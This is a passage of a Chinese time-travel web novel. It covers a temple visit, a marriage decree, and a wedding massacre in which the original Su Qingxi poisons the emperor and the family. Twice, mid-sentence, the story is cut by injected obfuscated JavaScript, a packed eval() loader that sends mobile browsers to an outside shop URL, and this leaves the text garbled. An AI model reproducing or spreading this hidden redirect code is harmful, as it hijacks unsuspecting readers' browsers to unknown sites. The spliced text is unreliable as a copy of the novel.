“不不不,是议论,不是贬低。”苏风逸努力解释时,还不忘再咬一口手中的梨。 尧让没忍住给他翻了个白眼,继续说道:“尧卿毕竟也算与朕和太子一同长大的,况且,朕也只有这一个妹妹,该护还是要护。” “难怪清平公主每次谈及陛下你的时候,眼里都是钦佩。” “行了,朕接下来要同你讲这所谓的‘兵不厌诈’!” 片刻后,尧让将梨核放在桌子上的空碟中,随即抬眼看着苏风逸,说道:“这就是朕跟你说的兵不厌诈,如何?” “不行。”苏风逸手里捏着那还未啃完的梨,因为力道过大,梨中的水分被挤了出来:“这赌得太大了,若......当真是我们所想的那般,后果并非是我们所能承担的。” 尧让坐在椅子上,轻叹道:“城门失火殃及池鱼......这是一场没有把握的赌局,一旦产生了羁绊,如何轻易的全身而退?难不成,你下得了手?” “我......”手中的梨突然掉在了地上,这动作无疑是出卖了苏风逸内心最真实的想法:“我的确是下不了手。” “苏风逸,朕没有在同你商量对策,亦或者是一个万全之法,朕想要做的,是护下朕要护下的人。所以,朕赌这一把,也是间接的给予了信任。” “是,毕竟不是同一个人,所做所想皆不同。” 尧让颇为感到自信:“朕觉得,朕不会输的!” 接连几日,夏星辰都没有听到有关于尧让的消息,这让她根本无法安心待在将军府;所以她还是打算进宫看看情况。 于是,她从马厩里牵出一匹马,刚要上马时,身后却传来一声熟悉的声音:“你这是要去哪里?” 她一转身便看到尧让,开心的跑过去抱住他,笑道:“你总算舍得来看我了。” “这段时间可还去那勾栏之地?” “你这话说的。”夏星辰忍不住翻了一个白眼:“我岂是那种人?” 尧让俯下身,将脸凑到她耳边,随即轻轻在她耳朵上咬了一口,轻声说道:“你居然这般的安分。” “有一说一,你还真是喜欢戴有色眼镜看人啊。” 话音刚落,耳朵处便再次传来轻微疼痛感;她还未开口抗议,尧让便开了口:“虽然不知道你在说些什么,但朕想说的是,朕想你了。” “我也是。” 话音刚落,她就被尧让横抱了起来。 “陛下!”百里突然从黑暗中走了出来:“萧国公已经往王爷府赶去了。” 见状,夏星辰连忙挣扎着从尧让的身上下来,不知所措地左看右看,就是不敢去看百里。毕竟被他撞见这种事情,实属是非常的尴尬。 “盯紧萧泞,若他实在对朕的话充耳不闻,执意要走险棋,那便杀了吧。” “是。”应声后,百里便消失在了黑暗中。 “你的计划是什么?” 尧让宠溺的抚摸着夏星辰的头发,笑道:“你相信朕吗?” “自然。”夏星辰点点头。 “既然如此,那便乖乖等着,事情结束后,朕会一五一十地同你讲清楚。” “好吧,那你万事小心。” 见她脸上那一闪而过的委屈神情,他将她搂入怀,温声道:“在此之前,朕打算同你在将军府住上几日。” 夏星辰喜出望外的抬起头,笑道:“你有时间?” “目前来说,朕的时间还算充裕。但在此之前,我们今夜该好好歇息,养精蓄锐才能好好的玩一玩。”话音刚落,尧让再一次将她抱起,往她的闺房走去。 房内正巫山云雨......夏星辰突然一手捂住了尧让的嘴巴,低声说道:“尧让,你的声音小一些,我这院子与祖母的院子挨得近。” 尧让一把扯过被子,将他和夏星辰盖住,笑道:“朕尽量,那接下来,你也得尽量小声些。” 47.以军功换一旨赐婚 “阿让,你今日怎的来了?”祖母在侍女的搀扶下朝着尧让走了过来。 尧让坐在餐桌前,对着祖母笑了笑:“这几日得空,朕便想着来将军府过过几日悠闲日子。祖母不会嫌朕碍眼吧?” “你这是哪里的话?祖母开心还来不及呢。”说着便也坐了下来。 “陛下您是何时过来的?这......竟然没有下人通传?”苏承疑惑的看着尧让。 一旁的苏风逸笑道:“半夜潜进来的呗,一直躲在妹妹的房间里呢。” 话音刚落,苏风逸突然感到脚上传来一阵剧痛,随即便吃痛的叫出了声,他侧过头看向尧让:“陛下,你这一脚很痛啊。” “就你长了张嘴会说话是吗?” 看到尧让笑里藏刀的模样,他低下头喝了口粥:“抱歉抱歉!是我多嘴了。” “潜进来的!!”苏承和祖母齐声说道,脸上还带着同样震惊的表情。 “是他!”眼见已经藏不住,夏星辰抬起手指着身旁的尧让:“是他......非要半夜潜进来,然后我好说歹说,他就是不肯走!是他没规矩,骂他!” “这......”苏承为难地清了清嗓子。 尧让看了这两兄妹一眼,忽的冷笑一声:“好好好!你们俩兄妹在栽赃陷害上挺有默契的啊。” “没有没有。”话同时说出口的这一瞬间,对视的苏风逸和夏星辰无奈的笑出了声。 祖母没忍住笑了笑,身体凑到夏星辰身边,小声地说道:“小夕啊,你脖子上的红痕也是阿让强迫你的?” “呃......”听到这话的夏星辰连忙将衣裳往上拉,将那红痕严严实实的挡住了。 “行啦,年轻人的事情,我们就别多问了。”祖母看着苏承,眼神示意他别再将这话题继续下去了。 幸好,苏承也不是那种没有眼力见的人,赶紧转移了话题:“陛下您想在将军府待多久都可以。” 尧让眼底带着笑意:“还得是老将军说的话朕最是喜欢听。” 吃完饭后的夏星辰坐在凉亭里抬头望着天上的圆月。本就是一个不擅表达且喜欢独处的人,这样子静静地望着夜空,会让她感到无比轻松。 “你这是在想着要带朕去哪里吗?”尧让走到她身边坐下。 “你呢?有没有想去的地方?” 尧让摇了摇头:“朕......极少出宫。” “今日是民间举办的月老牵线,广佛寺的姻缘树甚是热闹。”声音一出,二人纷纷回头,朝他们走来的正是尧卿。 “你怎么来了?”没等尧卿回应,尧让瞬间就想到了缘由:“哦,朕知道了,又来找苏风逸的吧?” “皇兄,你知道了你还问?”尧卿走到夏星辰身前,笑道:“皇嫂,一起去广佛寺吗?” 夏星辰点了点头:“可以啊,反正我也没去过。” “既然这样,皇兄,你也带一个人去呗。”尧卿眨巴着眼睛看着尧让,迫切他能读懂自己眼神中所表达的意思。 “自然。朕带百里去,林贤也可以。” 听懂他是故意说这话,夏星辰便抬手重重地锤了一下他的手臂:“你把我哥带上。” “是啊皇兄,把苏风逸带上。” 尧让捂着自己被锤的手臂,他没法子对夏星辰心生不满,只能用极其幽怨的眼神看着尧卿,不满道:“尧卿,你好样的,拿朕来当你接近苏风逸的垫脚石!” “略略略......”尧卿调皮地朝着他吐了舌头。 “你快去叫我哥。”夏星辰实在接受不了他的磨叽,边说边推搡着他。 “行行行,朕去叫他。” 然后便是......尧让和苏风逸跟在夏星辰和尧卿身后,俩人的脸上都充斥着无奈神情。暗处中,百里和林贤也偷偷的跟着。 “林贤,我这时候要不要上前跟陛下禀报获得的消息?”百里始终拿不定主意。 林贤摇了摇头:“我认为你这时候上去肯定会挨顿揍,等等吧,反正也不缺这一个晚上了。” “你说的有道理,明天再说吧。” 尧卿小声对夏星辰说道:“皇嫂,你说我该寻何缘由与苏风逸独处?” “这还不简单!”夏星辰转过身,走到尧让身边,挽着他的手,笑道:“阿让,我们去那边,让哥哥带着尧卿四处逛逛。” 尧让自然是明白她的意图:“正有此意。” 而苏风逸这聪明人也不难看穿这三人的“阴谋”,迎合道:“行吧。” 听到苏风逸答应了下来,尧卿连忙跑到他身边,学着夏星辰挽着尧让的手那般挽住苏风逸的手,见他没推开自己,她开心得合不拢嘴:“苏风逸,我带你去玩好玩的。” “行。” 看着他们离去的背影,尧让笑出了声:“原来小满竟然也想揽月老的活啊!” “你不是吗?” “朕可不是,朕想的只是要跟你一同而已,就朕和你。” 夏星辰笑道:“君子有成人之美,成的不只有他们,还有我们啊。” “我们还真是不谋而合啊。” 紧接着,满脸笑意的尧让便被夏星辰拉着手往前走。 站在眼前这棵巨大的姻缘树下,尧让和夏星辰抬起头的瞬间,都被震惊得不知用什么词语形容。这棵巨大的树根本看不到尽头似的,枝丫上挂满了红绸和刻着名字的木牌。 “我只在电视上看过情侣双方祈求姻缘长久,当我自己也身临其境的时候,说实话,还挺刺激的。” “你这意思是在你那个时代,没男子心悦于你吗?” 夏星辰切了一声:“你想多了,只有我不要别人!” 见尧让偷笑着,她有意提起了一件事:“忘了跟你说,你这种三妻四妾的行为放到我那个时代,属于重婚罪,你要负法律责任的。” “可......若是朕在你那个时代,也只会心悦于你啊。” 夏星辰看着他深情的眼睛,内心竟慌乱了一下:“尧让,我不想当恋爱脑。” “无碍,朕来当你的恋爱脑。” “我真是服了,你知道什么事恋爱脑吗你就当?再说了,男人的嘴骗人的鬼。” 尧让笑了笑,认真地说道:“那就用时间来证明朕会不会骗你。” “二位是有情人?”广佛寺的住持突然出现在二人身后,轻声问道。 他们转过身,纷纷点了点头。 “老衲乃本寺住持,法号空禅;若是二位求姻缘,可前往月老神像前求取姻缘线和木牌。” 夏星辰微微躬身笑道:“多谢住持!” 随后,夏星辰正在极其认真地往木牌上写上他们的名字时,一旁的尧让却往她的左手手腕处戴上了那根姻缘线。 “这姻缘线是戴手上的吗?” 尧让边系紧边耐心地解释:“方才朕看到其他人就是这么戴着的,还意外听到了他们说这姻缘线也叫平安线。这一次,朕就勉为其难的相信神明一次吧。” “那你的呢?”夏星辰放下笔,说着便要再往神像那处而去:“我再去求一根。” 尧让轻轻地叹了口气,自言自语道:“双手沾满鲜血的人怎能乞求神明所赐的......” “阿让!”夏星辰突然的呼喊他的名字,同时也打断了他的自言自语。在看到她持着手中的姻缘线向他炫耀时,他脸上的苦楚瞬间便变成了雀跃与幸福。 夏星辰后来才知道,她也是在属于他的朝代里,第一个这般对他好的姑娘。 她朝着他跑了过来,边喘着气边给他的左手戴上姻缘线,心满意足的笑道:“阿让,与你在一起的日子才叫我们,少了一个人都不行!无论是江山还是子民,帝王得平安才能守得住所珍视的。” 下一刻,尧让将她紧紧的搂在怀里,轻声的说道:“小满,朕不会输的对不对?” “当然!我方才可是真心诚意的求神明的,阿让你所求所愿皆能成真。” 尧让低声笑了笑:“朕也希望你所求所愿皆能成真!” 话音刚落,他俯下身,轻轻抬起她的下巴,冰凉的唇温柔的覆盖住了她的唇,而她也回应了他一个吻。 另一边,苏风逸和尧卿也赶来了广佛寺。显然,他们没有在这里碰上夏星辰他们,因为后者正偷摸的躲在另外一棵大树后。 “小满,我们至于如此吗?朕好歹也是皇帝,躲在这里算怎么回事?”尧让埋怨的说道:“朕还被蚊子给咬了。” “你难道对他们的进展不感兴趣吗?” 尧让十分肯定的回答道:“朕对他人的情感不感兴趣!” “你等一会儿嘛,现在出去不就破坏了氛围了吗?” 在夏星辰的好说歹说之下,尧让最终还是被连哄带骗的坚持了下来。 “苏风逸,这个......我能给你戴上吗?” 见苏风逸不为所动,她的脸上立刻布满了委屈的神情:“好吧, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“陛下,苏将军求见!”林贤躬身禀报着。 尧让放下手中的奏折,像是知道了他来此所为何事,嘴角上扬道:“让他进来吧。” 苏风逸一步步踏进御书房,单膝跪了下来:“臣见过陛下!” “你这时候来寻朕,是有所求于朕?” “是。臣......臣此次前来,是想要向陛下求一道圣旨。”苏风逸双手抱拳,而后语气诚恳的说道:“臣想以全部的军功换取一道赐婚圣旨。” “全部的军功?苏风逸,你这是要赌上一切啊!” “尧卿是皇家公主,更是陛下所呵护的亲妹妹,若与臣在一起,实属是委屈了公主;臣除了这一身军功,实在是没有什么贵重东西能够求娶公主,所以,为表臣对公主的心意,臣拿出了臣最上得了台面的军功。” 尧让没说多一句无用的废话,说道:“林贤,拟旨。” “是,陛下!” 片刻后,林贤将那道赐婚圣旨递给苏风逸,笑道:“恭喜苏大将军得偿所愿!” 自从回宫了之后,夏星辰变得异常嗜睡,有好几次总是会睡上一天一夜,哪怕是醒了之后也依然会有强烈的困意。 “小莲,我睡了多久了?”夏星辰缓慢坐起身,对着端吃食进来的小莲问道。 “足足一天一夜呢,娘娘。”小莲快步走上前扶着她下了床榻,引着她在桌边坐下,将碗筷递到她面前:“娘娘,您肯定是饿了,快趁热吃点东西吧。” 一天?她又是睡了整整一天!她愣了愣,心底泛起了一丝异样。最近夏星辰感觉到自己的身体发生了很大的变化,自己又说不上来其他明显的变化......要说最明显的,便是这睡眠了。 接下来的日子里,夏星辰的嗜睡变得愈发频繁;频繁到她哪怕是正在吃饭、正在坐着说话,困意一旦迅速涌上来,也能在不知不觉地睡过去。 夏星辰有直觉,自己的身体一定是出问题了。于是,她便连忙找到了太医,可换了好几个太医诊脉,得到的答案都是惊人的相似——“娘娘的身体没有什么大问题,或许是近日太疲乏了。” 既然找不出问题所在,她索性也不再纠结,只当是真如太医所说的那般,那几日劳累过度了。 可即便如此,这异样的症状愈发的严重了,甚至开始伴随着噩梦的出现...... 48.精心策划的杀戮 “你这个盗贼,将我的身体还给我!”梦里,苏清夕手持着匕首,一步一步地朝着夏星辰扑了过来。 夏星辰拼了命逃窜:“不是的,我不是盗贼,我没有要抢你的身体,这并非我本意。” 苏清夕怒火中烧:“若不是因为你,我不会变成这样;全是因为你!” 下一刻,那把匕首便正正插进了夏星辰的心脏处。 “不要!”夏星辰猛地睁开了眼,然后瞬间坐起了身。 她连忙低下头,直到看到自己的胸膛没有伤口,这才松了口气:“为何这噩梦如此的逼真?” 在某种程度上,大多数人都会有一种‘心理毛病’,那便是‘急病乱投医’。这一点,夏星辰也不例外。 连着找太医开了好几贴中药,不知道是不是因为喝药的缘故,那种令她不舒适的感觉好像在慢慢消除;至少连着三日她都没有做噩梦了。 在得知苏风逸和尧卿已经选定了良辰吉日之后,夏星辰便将那身体异样的事情抛之脑后。自告奋勇地举荐自己要替他们筹办婚礼。 只有一旁‘事不关己’的尧让,一直将目光落在夏星辰身上。林贤凑到他身边,小声地说道:“陛下,钦天监传来消息,您要查的事情有着落了。” 尧让点了点头,随即便站起身,走到无比开心的夏星辰身边,露出了一抹浅浅的笑容:“朕还有些事要处理,你们若要想出宫都行。” “好。”夏星辰和尧卿同时笑着应声道。 她们很快便一致决定出宫,去热闹的集市上逛逛。一来到京都最大的首饰铺,夏星辰立刻就被这琳琅满目的首饰吸引了。尧卿拿起好几件凑到她眼前,雀跃地问道:“皇嫂,你看这些好看吗?” “好看。”夏星辰笑着左看右看,也在找适合自己、令自己欢喜的首饰。 突然,那种异样的睡意又再一次席卷全身。夏星辰放下首饰,朝着正在挑选首饰的尧卿低声说道:“我出去一下。” “皇嫂,你去哪......”尧卿刚抬起头看向她时,却看到夏星辰已经走出了首饰铺。 夏星辰将身体紧紧靠在墙壁上,弯着身子大口地喘着气。这时,一个小球滚到她的脚边,两个孩童连忙跑了过来,其中的男孩子发出了稚嫩的童音:“姐姐,能将小球给我吗?” “肮脏的东西竟也配本宫捡起来给你?”她忽的侧过头看向孩童,语气冷淡:“你们这些贱民、蝼蚁,就只配拥有这些肮脏到土里的东西!滚!” 她的这话吓得两位孩童哭着转身跑开了。看着他们狼狈跑开的模样,她只是冷笑了一声:“区区贱民。” 随后整理了一下裙摆,脚一抬,神情嫌弃地将脚边的球踢到一旁。刚往前迈了两步,她便因为身体突然的发软而倒了下去,从而昏了过去。 另一边的天机阁里,钦天监将一块凤印玉佩交给尧让,轻声说道:“陛下,这块玉佩已然依照您所交代的那般,现已功成。” “这能护住性命?” 钦天监点点头:“凤印玉佩了里藏着陛下身为明君所持有的天运,天运所赐、天命所归!” 尧让紧攥着手中的玉佩,笑道:“但愿如此。” 夏星辰再次醒来的时候,便看到坐在床榻边的尧让。她声音嘶哑的开口问道:“我这是怎么了?” “你醒了!”尧让将她扶着坐起身:“你和尧卿一同去集市上,不知怎的就晕过去了;方才朕让太医瞧过了,说是你身体太虚弱了,这才晕过去的。” “原来如此。”夏星辰伸了伸懒腰:“最近总感觉好累。” “难不成是因为苏风逸和尧卿要成亲了,自告奋勇的你被累着了?”尧让故意笑道。 夏星辰闷哼了一声:“我才没有呢。” “是,你没有。”尧让将一块玉佩塞在她的手心里,温声道:“好好收着,别弄丢了。” “这玉佩是重要之物?”夏星辰认真的查看着玉佩,疑惑的问道。 尧让轻声嗯了一声:“这是代表皇后身份的玉佩,也是先皇后留下来的。” “什么?皇后!”夏星辰震惊的看着尧让:“你就这样将皇后身份的玉佩给我了?会不会太草率了?” “朕可不是什么不负责任的负心汉!朕心悦你,又与你有了肌肤之亲,不管怎么说,你已然是朕的正妻了,既然是正妻,那便是皇后!”尧让宠溺的笑道:“虽然是皇后,但小满想做什么便做什么,哪怕是上战场杀敌,你若喜欢,亦可!” 见夏星辰红了眼眶,他脸上的笑意仍旧未曾减少半点:“只是这皇后册封大典可能要等上一段时间,等朕将这朝野彻底清洗之后,再让你堂堂正正的坐上凤位。” 从没被如此偏爱过的夏星辰第一次感到无所适从。她如机器人般点点头,用开玩笑的口吻说道:“没事,我慢慢等,再说了,我耗得起!到时候你可别反悔啊。” “朕可不会!”说着,他便将她搂在怀里,语气里带着试探性:“小满,你是不会舍得让朕输的对不对?” “说好的互相信任呢?”夏星辰不满的抬头看着他。 尧让搂着她的力道加重了几分:“是朕糊涂了,朕的小满是不可能让朕输的!” “放心吧,我呢是一定会好好的收着玉佩,等你兑现承诺。”夏星辰看着手中的玉佩,笑道:“嘻嘻,我还从来没有当过皇后呢?凤冠好不好看啊?重不重啊?还有还有,凤袍是不是看起来很有压迫感啊。” “到时候就按照你的喜好来缝制,可好?” 夏星辰笑得更开心了:“若是这样就很好。” 几日后,公主府处处张灯结彩,红绸绕梁。锣鼓声、欢笑声此起彼伏,全然是热闹喜庆的场面。 一身喜服的苏风逸身姿挺拔、意气风发,他翻身跨上通体乌黑的高头大马,马鬃系着红绸结,直接往公主府的方向而去;身后的迎亲队伍浩浩荡荡的跟着。 公主府门口,苏风逸翻身下马,亲自搀扶着尧卿踏上花轿,他和盖头下的尧卿,脸上的笑意已然无法藏得住。 “夫妻行礼,苍天作证!” 随着声音传遍了整个将军府,苏风逸和尧卿各执着一边的红绸结,缓步走进了喜堂。 “一拜天地!” “二拜高堂!” 随着赞礼官高声呼喊,二人依礼鞠躬。 “夫妻对拜!” 最后这句话刚落下,坐在一旁的尧让和主位上的苏承竟然同时身体一愣,下一刻,一口鲜血便毫无征兆地从口中喷出,加深了地上的喜垫颜色。 “皇兄!” “爹!” 苏风逸和尧卿脸上的笑意瞬间僵住,惊呼一声后便朝着尧让和苏承身边快步跑去。 喜堂内的变故瞬间打破了喜庆,前来贺喜的朝臣见状,顿时被吓得魂飞魄散,纷纷尖叫着向门口逃窜,原本热闹非常的喜堂顷刻间乱作一团。 “我去将太医带过来。”百里往门口跑去,像是感觉到了什么,身体突然微微一侧,一支箭矢便狠狠地插在了一张椅子上。 “别说是太医,即便是神仙来了,也没用!”紧接着,一个冰冷的声音从堂外传来。 当那人缓缓走了进来,众人才看清样貌。 “小满,你......你这是何意?” “小满?兄长,你唤我这个名字,我还当真是不喜欢呢。”她挑了挑眉,语气带着与生俱来的优越感:“我的名字是苏清夕!” 话音刚落,一旁的百里持着长剑刺向苏清夕时,手中的长剑却停在了半空中无法动弹。苏清夕侧过头,看着他一脸疑惑的表情,嘲讽道:“果然是条会咬人的恶犬,可惜了,给你准备的狗食里也掺杂了毒药。” 下一刻,苏清夕便极其嫌弃的用力推开百里,倒在地上的百里也猛地吐出了一口鲜血,身体的力气瞬间被全部抽走。 “皇嫂,你这是在做什么?”尧卿不可置信地看着苏清夕。 “皇嫂?你是该尊称我一声皇嫂,反正我迟早会成为显王的妻子,而显王很快就会登帝!” 尧卿根本无法相信,之前那个英姿飒爽、待人和善的皇嫂怎么今日变得这般心狠手辣?眼前这个“皇嫂”,她似乎从未认识过。 “苏清夕!”苏风逸抬手粗暴地擦拭掉自己嘴角的血迹,缓慢站起身,满眼怒火的看着她:“你可知谋害皇帝是死罪?谋害至亲是死罪?你为何要这般做?” “为何?我的好兄长,你问我为何?我倒想问问你,你为何纵容你口中的盗贼偷走了我的人生?凭什么一个盗贼能过得如此幸福?”苏清夕突然哈哈大笑,笑声里全是扭曲的嫉妒:“至亲?一个是我的亲生父亲,一个是我兄长,明明你们都知道她不是我,却还是纵容她、宠爱她!明明我才是将军府的嫡长女,可你们却舍弃了我,既然如此,那你们就都去死!” 最后那句话,苏清夕带着极度的不甘心和怨恨吼了出来。 苏风逸忽的冷笑出声:“你说我们舍弃了你?你扪心自问,你有过一次,哪怕一次是把将军府当成你的家吗?除了反对你和尧显勾结之事,将军府哪点对不住你?你拿着我的军功胡作非为,我何时怪过你?苏清夕,是你自己一错再错,为了讨好尧显,你杀害无辜之人;像你这样冷血之人,岂会是我的妹妹?岂配当将军府的嫡长女?” 听着苏风逸的话,苏清夕却是一脸的无所谓,连眼眶都没有红一下。她瞥着苏风逸,又扫过虚弱的尧让和苏承,语气轻佻:“随便你怎么说,我都不在乎。我这辈子,不会再需要将军府,也不再需要你们这些所谓的至亲,我很快就是皇后了,你们这些蝼蚁注定会被我踩在脚下。” “小满呢?”尧让用尽最后一丝力气问,体内的力气正飞速的流逝,声音微弱得几乎听不清。 “应该......死了吧。”苏清夕轻描淡写的一句话,却如晴天霹雳地砸在几人的心上。 尧卿突然捡起对上的长剑,朝着苏清夕刺去:“你这恶毒的女人,还我皇嫂!” 她刚持起长剑,却被以极快速度冲进来的尧显掐住了脖子。随着力道越来越重,手中的长剑也掉落在地。 苏风逸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16885133|187087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抽出别在腰间的鞭子甩出去时,被尧显一手攥住,嘲笑道:“骁虎将军就这么点力道啊?”随即便猛地一松手,苏风逸因中毒而发软的身体便不停地后退了好几步。 “放开她!”苏风逸想挪动脚步往前阻止这一切,却无能为力。 “不过就是一个‘血统不正’的私生女,还真当自己是什么尊贵的皇家公主?”说罢,他没有给她一丝辩驳的机会,生生扭断了她的脖子。 “不......妹妹!”尧让红着眼眶,朝着尧显怒喊道:“尧显,你这个畜生!” “尧卿!”苏风逸强撑着身体的不适,抄起长剑,跌跌撞撞地冲上前划伤了尧显的手臂。随后一把将尧卿抱在怀里,他不知所措地唤着她的名字:“尧卿,尧卿,你别跟我开玩笑。” 直至确定怀里的人没了气息,眼眶里的泪水再也没能控制,崩溃地哭道:“尧卿!” 尧让忽的站起身,双手持着双刀,狠狠地朝着尧显劈去。苏清夕脸上神情不慌不忙,她将尧显一把推开,在长刀要割破自己的喉咙时,她看着尧让,冷笑道:“你想好了吗?狗皇帝!” 长刀停在她的咽喉前,尧让双眼尽显杀意:“你这话是何意?” “杀了我,你心心念念的盗贼就再也回不来了!我若是死了,她也活不下来。” 见苏清夕这般笃定的神情,尧让笑出了声:“你就这么笃定,她对于朕来说是独一无二的吗?” “难道不是吗?”苏清夕脸上尽显得意:“虽然她占据了我的身体,感受着我的感受,但我记得你们发生的一切,所以从某种程度上来说,我与她是同一个人!” 听到这话,尧让就更觉得搞笑至极:“同一个人?如你这般低贱、冷血的人,怎会与朕的皇后是同一个人?” “随你怎么说。我赌你根本不敢杀我,你下不了手!” 事实上,苏清夕赌对了!尧让的确下不了手!从他下定决心赌这一把,就十分有把握夏星辰不会让他输! 只是他还未做好坦然面对眼前之人不是夏星辰的完全准备...... 手中的刀忽的掉在了地上,他笑了笑道:“朕十分肯定,此事还不是最终的结果!朕的小满,是不会让朕输的!” 话音刚落,数支利箭突然从门外射来,尧显以极快的速度将苏清夕躲到一旁:“别再说废话了,狗皇帝已然是强弩之末,他撑不了多久。” 确实如尧显所说,体内的毒再次发作,随着手心伤口传来的痛感逐渐微弱,也意味着尧让再也没了力气支撑自己的身体,只能无力地瘫坐在了地上。 “今日,即便是朕死在这里,你也当不了皇帝!”尧让看着尧显,讥笑道:“就凭你这个蠢货,只配当他人的垫脚石罢了。” 尧显冲到他身前,狠狠地掐住了他的脖子:“你都快死了,还这般的自负!” “自负?看来你当真从未真正认识朕啊!朕若死了,御林军、暗卫,以及朕培养的死士,就会即刻遣散,无人再号令他们。届时,你拿什么与同样觊觎帝位的宵小之人斗?”尧让看着他和苏清夕,嘲讽道:“靠你们这两个废物吗?还是靠你那以腌臜手段上位的母亲啊?” “不可能!你为何会提前做好如此万全准备?”苏清夕不可置信地看着他。 尧让脑海中出现了与夏星辰相处的点滴,笑道:“天下和妻子,朕皆不负之!若朕死后,朕的护卫会将朝秦的百姓送出京都,这个什么都没有的龙椅你若想要,朕便给你!” “我杀了你!狗皇帝!”尧显生气地加重了掐住尧让脖子的力道。 苏风逸将尧卿放平在地上,随即抬起沾满鲜血的手,温柔地擦拭她被弄脏的脸颊。下一刻,他便神不知鬼不觉地出现在尧显身后。 “王爷,小心!” 在苏清夕叫出声时,尧显一回过头,却被用尽最后力气的苏风逸利落地扭断了脖子,看着他直直地倒在地上后,苏风逸嘴角缓缓上扬。 可与此同时,一把长剑就刺穿了他的胸膛。苏清夕用力收回长剑,苏风逸的身体逐渐倒地,再也无法挣扎半分。 “苏风逸!”尧让嘶哑的喊出声,想挣扎起身却是无能为力。 “阿逸!”苏承艰难地抬起手,哭着喊道。 “对不住,陛下,爹,护不住你们,是我失职了!”苏风逸强撑着最后一口气看向身旁的尧卿,一点点发出微弱的声音:“对不住,尧卿,没能早早给你一个名分,是为夫错了!吾妻......今日......真美。” 话音刚落,苏风逸带着不甘缓缓闭上了眼睛,一只手却是紧紧地攥着尧卿的手。 “逆女!你这个逆女!”苏承用尽力气朝着苏清夕吼道:“他可是你亲兄长!从小便护着你长大,你怎能这般待他?苏清夕,你没有心,没有心啊。”每一声哭喊都撕心裂肺,气息愈发微弱,直至闭上了双眼。 苏清夕盯着手中这柄沾染着苏风逸鲜血的长剑,面无表情地开口:“护我?他何曾护过我?他用军功换走出冷宫的人可不是我!所以他的死,就是死有余辜!” 49.陷入死循环 另一边,在房间里的夏星辰突然睁开眼睛,她猛地坐起身,完全不记得自己为何又睡着了。 “怎么没人叫我?这个时辰不会已经拜完堂了吧?”她跌跌撞撞地往喜堂赶去,生怕错过了重要时刻。 夏星辰站在门口,却被眼前的景象吓得浑身冰凉,一股说不上来的酸麻感瞬间侵袭了全身......满堂的鲜血、倒在地上那一张张熟悉的脸庞;挂满红绸的喜堂,如今却成了人间炼狱。 她刚踏进去就看到最熟悉的两幅面孔:“百里......林贤......”直到看到地上身着喜服的一对新人,她再也无法保持平静。 “哥哥!尧卿!”夏星辰疯了似的冲向倒地的苏风逸和尧卿,拼命想要将他们扶起,可她的手却直接穿过了他们的身体,感觉不到一丝触感。 “为什么会这样啊?”夏星辰不死心地一次又一次尝试,可结果次次让她绝望,她崩溃地大哭道:“这究竟是怎么回事啊?发生了什么?” “小......小满。”一个微弱的声音传来。 夏星辰猛地回头,看到了奄奄一息的尧让。她立刻冲上前想要抱住自己的爱人,可结果和方才一样,双手径直穿过了他的身体,什么都触碰不到,这让她的精神几乎接近崩溃边缘。 “阿让,我在这,我在这,你看到我了吗?” 看着他沉重的眼皮缓缓闭上,再也没有睁开之后,她发了疯似的大喊:“阿让,你别睡,我求你了!”可无论她怎么大声的哭喊,眼前人就是没有任何的反应。 “爹,爹。”夏星辰拖着已然毫无力气的身体朝着苏承爬去,可下一刻,她只觉得气血翻涌,心口一阵剧痛,而后眼前一黑,彻底失去了意识。 当夏星辰再次睁开眼时,周遭是伸手不见五指的黑暗。她就这样如行尸走肉般地躺在地上,脑海中出现的是那满地狼藉的将军府,以及那尽数惨死的爱人和至亲。 在她一动不动、失魂落魄的时候,腰间挂着的玉佩发出了一道光芒,这道光芒瞬间驱散了这片黑暗。 与此同时,一本漂浮在黑暗中的古籍出现在夏星辰的眼前。她疑惑不解地坐起身,从腰间取下那块代表皇后身份的玉佩,正百思不得其解的时候,那本古籍突然就掉落在她身前。 她小心翼翼地捡起古籍,刚翻开第一页,便被上面简短的四个字给吸引了目光:“吾妻——小满。” 但真正让夏星辰感到背后发凉的并非是这四个字,而是下面的提笔人。这位提笔人对于她这个现代人来说,是再熟悉不过的人,这人便是——秦始皇嬴政。 夏星辰这时候才反应过来。原来,她的猜测都是真的,尧让还真是嬴政!只是中间不知道出现了什么差错,嬴政的名字却变成了尧让? 带着不知所措的心情一字不落地阅读完这本古籍,只有四五页纸、短短的几百个字,但每一个字都在向现代人夏星辰证明了一件事——秦始皇嬴政是有立过后的!秦朝......是有过皇后的! 这本古籍直接推翻了现代人对于“秦朝无皇后”的认知。 “所以,当时我在图书馆里看到的那本古籍是真的!”夏星辰笑着笑着便落下了泪:“人物都对上了,无论是尧让、苏风逸、百里以及林贤,都对上了。” “让秦朝江山彻底改朝换代的人就是苏清夕?那苏清夕就是皇后?” 在她尝试理清前因后果时,一阵机械化的声音凭空响起:“因为来自2040年的现代人夏星辰意外穿越,秦朝的历史脱离原来正确的轨道,本已死去的苏清夕成功顶替了历史上真实存在的皇后;因错误的雪球越滚越大,也间接改变了历史人物的结局。” “死去的苏清夕?你的意思是......因为我突然穿越过来,这才导致苏清夕活了过来?”越是这样想,夏星辰就越发的惊慌失措:“原来这一切的罪魁祸首是我?” 想到尧让他们凄惨的下场后,夏星辰自嘲道:“原以为我这个穿越者是最无辜的,莫名其妙的穿越,为了活下来费尽心思。却没想到到头来,本就会顺着历史轨迹一点点走向属于最终结局的历史人物,因为我这个外来者,落了个不得善终的下场!成为名副其实的受害者!” 